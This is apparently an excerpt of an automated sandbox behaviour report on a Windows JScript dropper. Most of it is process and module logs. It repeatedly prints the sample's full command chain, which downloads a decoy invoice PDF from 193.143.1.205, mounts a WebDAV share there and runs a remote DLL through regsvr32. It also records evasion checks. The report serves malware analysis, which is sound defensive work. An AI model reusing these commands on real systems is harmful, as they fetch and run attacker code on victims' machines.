Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8556.js.csv");ITextStream.WriteLine(" entry:8615 f:bvxhotyu");ITextStream.WriteLine(" exec:2 f:bvxhotyu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49725

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4452			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5412			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep count: 4452 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep count: 5412 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2606371230.00000257CA82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPq
Source: net.exe, 00000007.00000002.1369170503.0000025128BC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1368378929.0000025128C28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1366472879.0000025128C28000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2608815141.00000257D0054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
